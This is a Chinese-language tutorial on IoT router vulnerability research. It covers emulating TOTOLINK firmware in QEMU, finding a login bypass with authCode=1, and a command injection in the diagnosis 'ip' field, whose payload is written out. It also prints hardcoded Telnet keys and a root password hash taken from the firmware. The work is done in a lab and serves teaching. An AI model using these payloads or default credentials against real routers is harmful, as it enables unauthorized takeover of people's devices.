这是你,淹没在一堆IoT设备当中,想要做点什么,却不得要领。
已经入门或计划入门IoT安全的小伙伴或许已经发现了,IoT安全跟其他的安全真的不大一样。这“哥们儿”学起来不仅需要专业的研究设备,需要固件分析、硬件方向、无线电领域对应的专业知识与能力作为支撑,还需要较强的动手能力!
退了退了……退什么!!!
如果,不用额外购入高昂价格的专业设备、不用事先准备充足专业知识打底、不用在乎复杂的动手能力要求,就能入门IoT安全!你就说,约不约!
本文就是这么一篇“入门者友好”的存在。
作者在这篇文章中,深入浅出地引领读者了解IoT路由器漏洞挖掘、入门相关的技术。文章从基础工具的准备开始,一步步引导完成环境配置,并结合实例对路由器漏洞挖掘的思路进行详细讲解。
换句话说,无论你是一名初学者,还是一名具有一定基础的技术人员,这篇文章都将是,你涉足该领域的不错的开始!
All right,新的Buff,点亮吧!
1.Ubuntu22.04(尽量大于等于20.4,本人使用的是WSL2)
2.qemu全家桶(各个主流架构的,arm,aarch64,mipsel)
sudoaptinstallqemu-system-arm
sudoaptinstallqemu-system-aarch64
sudoaptinstallqemu-system-mipsel
3.IDA7.7
4.burpsuite
5.binwalk
6.对应架构的kernel以及磁盘(下面开始讲)
7.固件获取(totolink的官网,是net域名的官网)
gitclonehttps://github.com/torvalds/linux
cdlinux
gitcheckoutv5.0
makeARCH=arm64CROSS_COMPILE=aarch64-linux-gnu-defconfig
makeARCH=arm64CROSS_COMPILE=aarch64-linux-gnu-Image-j8
arch/arm64/boot/Image
debian-10-generic-arm64-20190909-10.qcow2
https://cdimage.debian.org/images/cloud/buster/20190909-10/
tunctl-ttap0-uroot
iplinksettap0up
brctladdbrbr0
brctladdifbr0tap0
ipaddradd192.168.200.1/24devbr0
iplinksetbr0up
server {listen 80;server_name 172.28.60.132;location / {proxy_pass http://192.168.200.2;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;}}server {listen 80;server_name 192.168.200.2;location / {proxy_pass http://172.28.60.132;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;}}
service nginx restart
#!/bin/bash
qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda
debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -
net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
qemu-system-aarch64
-machine virt,virtualization=true,gic-version=3
-nographic
-m 4096M
-cpu cortex-a57
-smp 2
-kernel aarch64
-drive if=none,file=debian-11-nocloud-arm64-20230802-1460.qcow2,id=hd0,format=qcow2
-device virtio-blk-device,drive=hd0
-append "root=/dev/vda1 console=ttyAMA0"
-net nic
-net tap,ifname=tap0,script=no,downscript=no
root@debian:~# ping 192.168.200.1
ping: socket: Address family not supported by protocol
PING 192.168.200.1 (192.168.200.1) 56(84) bytes of data.
64 bytes from 192.168.200.1: icmp_seq=1 ttl=64 time=1.37 ms
64 bytes from 192.168.200.1: icmp_seq=2 ttl=64 time=0.789 ms
64 bytes from 192.168.200.1: icmp_seq=3 ttl=64 time=1.11 ms
64 bytes from 192.168.200.1: icmp_seq=4 ttl=64 time=0.567 ms
64 bytes from 192.168.200.1: icmp_seq=5 ttl=64 time=0.917 ms
binwalk --run-as=root -Me CS_C8380R_X6000R_IP04499_MT7981_SPI_16M256M_V9.4.0cu.852_B20230719_ALL.web --preserve-symlinks
_CS_C8380R_X6000R_IP04499_MT7981_SPI_16M256M_V9.4.0cu.852_B20230719_ALL.web.extracted
squashfs-root
tar -czvf 1.tar squashfs-root/
scp -oHostKeyAlgorithms=+ssh-rsa 1.tar root@192.168.200.2:/root
tar -zxvf 1.tar
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
umount ./squashfs-root/dev
umount ./squashfs-root/proc
chroot ./squashfs-root/ sh
/ # ls
bin init mnt rom sys var
dev lib overlay root tmp web
etc lib64 proc sbin usr www
/
[get=57, set=50, oth=26 ] Topic Num:
shttpd 1.42 started on port(s) 80, serving web
/ # lighttpd -f lighttp/lighttpd.conf
2023-07-26 02:28:27: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
/ #
/ # mkdir /var/run
/ # touch /var/run/lighttpd.pid
/ # lighttpd -f lighttp/lighttpd.conf
/ # 2023-07-26 02:29:12: (log.c.97) server started
POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1
Host: 127.0.0.1
Content-Length: 27
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1696852613:2
Connection: close
username=admin&password=123
GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1696852613:2
Connection: close
.rodata:00439A44 0000005C C
,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login"}
.rodata:004399DC 00000065 C
,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8"}
.rodata:00439978 00000063 C
,"redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1"}
snprintf(v21, 4096, "{"httpStatus":"%s","host":"%s"", "302");v16 = strlen(v21);if ( atoi(v9) == 1 ){snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1"}",v25);}else if ( !strcmp(v9, "ie8") ){snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8"}",v25);}else{snprintf(&v21[v16],4096 - v16,","redirectURL":"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login"}",v25);}
.rodata:00424944 00000009 C authCode
.rodata:00426A64 0000002B C GET /formLoginAuth.htm?authCode=1
HTTP/1.1
if ( strstr(v20, "authCode") )
v7 = atoi(v8);
if ( strstr(v20, "userName") )
strcpy(v30, v8);
if ( strstr(v20, "password") )
strcpy(v29, v8);
if ( strstr(v20, "goURL") )
strcpy(v28, v8);
if ( strstr(v20, "flag") )
strcpy(v27, v8);
if ( v7 )
{
fbss = 0;
do
{
v12 = time(0);
if ( !ws_get_cookie(a1, "SESSION_ID", v15, 0) && form_get_idx_by_sessionid(&fl_sess, v12, v15) != -1 )
{
sprintf(a2, "http://%s/%s?timestamp=%ld", v22, v19);
return 1;
}
sprintf(v14, "%ld:%d", v12, 2);
sprintf(v18, "%d:%s", 2, v14);
}
GET /formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1696852613:2
Connection: close
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 127.0.0.1
Content-Length: 65
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1
Sec-Fetch-Site: same-originSec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/advance/diagnosis.html?time=1696857654980
Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1696852613:2
Connection: close
{"ip":"`ls>/www/hrp.txt`","num":"1","topicurl":"setDiagnosisCfg"}
GET /hrp.txt HTTP/1.1
Host: 172.28.60.132
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
_system .MIPS.stubs 00434BC0 00000010 R . . . . . T .
_doSystem .MIPS.stubs 00434E90 00000010 R . . . . . T .
doSystem extern 0044DCB0 00000004 R . . . . . T .
system extern 0044DD68 00000004 R . . . . . T .
int __fastcall sub_421DDC(int a1)
{
const char *Var; // $s2
int v3; // $v0
int v4; // $v0
char v6[128]; // [sp+18h] [-80h] BYREF
memset(v6, 0, sizeof(v6));
Var = (const char *)websGetVar(a1, "ip", "www.baidu.com");
v3 = websGetVar(a1, "num", &byte_43A4B0);
v4 = atoi(v3);
sprintf(v6, "ping %s -w %d &>/var/log/pingCheck", Var, v4);
doSystem(v6);
setResponse(&word_438564, "reserv");
return 1;
}
.text:00421CD4 21 20 00 02 move $a0, $s0
.text:00421CD8 44 00 05 3C E8 92 A5 24 li $a1, aCommand # "command"
.text:00421CE0 44 00 06 3C lui $a2, 0x44 # 'D'
.text:00421CE4 3C 80 99 8F la $t9, websGetVar
.text:00421CE8 09 F8 20 03 jalr $t9 ; websGetVar
.text:00421CEC F0 92 C6 24 li $a2, aWwwBaiduCom # "www.baidu.com"
.text:00421CEC
.text:00421CF0 10 00 BC 8F lw $gp, 0x98+var_88($sp)
.text:00421CF4 21 90 40 00 move $s2, $v0
.text:00421CF8 21 20 00 02 move $a0, $s0
.text:00421CFC 43 00 05 3C 84 66 A5 24 li $a1, (aGuestRadioSchN+0x10) # "num"
.text:00421D04 44 00 06 3C lui $a2, 0x44 # 'D'
.text:00421D08 3C 80 99 8F la $t9, websGetVar
.text:00421D0C 09 F8 20 03 jalr $t9 ; websGetVar
.text:00421D10 B0 A4 C6 24 li $a2, byte_43A4B0
.text:00421D10
.text:00421D14 10 00 BC 8F lw $gp, 0x98+var_88($sp)
.text:00421D18 00 81 99 8F la $t9, atoi
.text:00421D1C 09 F8 20 03 jalr $t9 ; atoi
.text:00421D20 21 20 40 00 move $a0, $v0
.text:00421D20
.text:00421D24 10 00 BC 8F lw $gp, 0x98+var_88($sp)
.text:00421D28 21 20 20 02 move $a0, $s1
.text:00421D2C 44 00 05 3C 00 93 A5 24 li $a1, aTracerouteMDSV # "traceroute -m %d %s&>/var/log/traceRout"...
.text:00421D34 21 30 40 00 move $a2, $v0
.text:00421D38 2C 81 99 8F la $t9, sprintf
.text:00421D3C 09 F8 20 03 jalr $t9 ; sprintf
.text:00421D40 21 38 40 02 move $a3, $s2
.text:00421D40
.text:00421D44 10 00 BC 8F lw $gp, 0x98+var_88($sp)
.text:00421D48 88 81 99 8F la $t9, doSystem
❯ grep -r "TelnetKey" .
grep: ./debian_squeeze_mips_standard.qcow2: binary file matches
./_A7000R_V9.1.0u.6268_B20220504.web.extracted/squashfs-root/etc_ro/custom.conf: "TelnetKey":"KL@UHeZ0",
grep: ./_A7000R_V9.1.0u.6268_B20220504.web.extracted/squashfs-root/usr/sbin/custom_info_to_nvram: binary file matches
grep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/4C: binary file matches
./_TOTOLINK_C8340R0-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/_4C.extracted/custom.conf: "TelnetKey": "cs2012",
grep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/_4C.extracted/0.tar: binary file matches
./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/squashfs-root/etc_ro/custom.conf: "TelnetKey":"cs2012",
grep: ./_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted/squashfs-root/usr/sbin/custom_info_to_nvram: binary file matches
grep: ./debian_squeeze_mipsel_standard.qcow2: binary file matches
2./etc/shadow
/etc # cat shadow
root:$1$IjJSZYnP$14XuZ/eoGldE8Qz2BXkyO.:15797:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
ntp:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
logd:x:0:0:99999:7:::
ubus:x:0:0:99999:7:::
/etc #
上面解密出来对应的就是cs2012,其实由此可知他的root密码基本上是和Telnet一样的可以直接通杀。
原文始发于微信公众号(长亭安全观察):技术说丨我的IoT安全之路,从“攻略”自家路由器开始